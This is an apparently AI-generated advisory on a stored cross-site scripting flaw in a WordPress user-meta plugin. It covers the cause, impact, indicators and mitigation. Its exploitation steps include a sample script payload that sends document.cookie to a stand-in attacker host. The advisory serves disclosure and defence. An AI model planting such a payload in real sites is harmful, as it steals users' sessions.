CVE-2025-14888
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-14888 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple User Meta Editor plugin for WordPress, affecting all versions up to and including 1.0.0. The flaw arises from insufficient input sanitization and output escaping of the user meta value field, allowing authenticated attackers with administrator-level access to inject arbitrary web scripts. Exploitation is limited to multi-site WordPress installations or single-site installations where unfiltered_html has been disabled. It carries a CVSS v3.1 base score of 4.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerable code resides in the plugin's editor template (includes/templates/editor/index.php, line 57), where user-supplied meta values are rendered without proper sanitization or escaping (Wordfence, Plugin Source). An attacker with administrator privileges can write a malicious JavaScript payload into a user meta field, which is then stored in the database and executed in the browser of any user who visits the affected page. The attack vector is network-based with high attack complexity and high privilege requirements, and no user interaction is needed for the payload to execute once injected.

Impact

Successful exploitation allows persistent JavaScript execution in the context of any user who accesses the injected page, potentially enabling session hijacking, credential theft, or unauthorized actions performed on behalf of victims. Because the payload is stored server-side, it can affect multiple users across a multi-site WordPress network. Confidentiality and integrity are both impacted at a low level, while availability is not directly affected (Wordfence, Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.027%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires administrator-level authentication, significantly limiting the attacker pool (Wordfence).

Exploitation steps

  1. Authenticate as Administrator: Log in to the WordPress admin panel with an account that has administrator-level privileges on a multi-site installation or a site where unfiltered_html is disabled.
  2. Navigate to User Meta Editor: Access the Simple User Meta Editor plugin interface, which allows editing of arbitrary user meta fields.
  3. Inject Malicious Payload: In the user meta value field, enter a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> and save the changes.
  4. Payload Stored: The unsanitized value is written to the WordPress database without proper escaping due to the flaw in includes/templates/editor/index.php.
  5. Victim Triggers Execution: When any user (including lower-privileged users or site visitors) accesses a page that renders the injected meta value, the malicious script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (Wordfence, Plugin Source).

Indicators of compromise

  • Database: Unexpected JavaScript tags or encoded script content in WordPress wp_usermeta table entries, particularly in meta values managed by the Simple User Meta Editor plugin.
  • Logs: WordPress admin access logs showing POST requests to the Simple User Meta Editor plugin's editor endpoint with unusual or encoded content in meta value parameters.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after accessing pages that render user meta values (potential data exfiltration).
  • File System: No direct file-system artifacts expected, as the payload is stored in the database rather than on disk.

Mitigation and workarounds

Users should update the Simple User Meta Editor plugin to a version beyond 1.0.0, which addresses the insufficient sanitization and output escaping. If an immediate update is not possible, administrators can mitigate risk by ensuring unfiltered_html is enabled (where policy permits) or by temporarily deactivating the plugin on affected multi-site installations. Restricting administrator account access and monitoring user meta field changes are additional precautionary measures (Wordfence).

Community reactions

The vulnerability was disclosed by Wordfence as part of their threat intelligence program. No notable independent researcher commentary, significant media coverage, or widespread community discussion has been identified for this low-severity, limited-scope vulnerability.

Additional resources


SourceThis report was generated using AI

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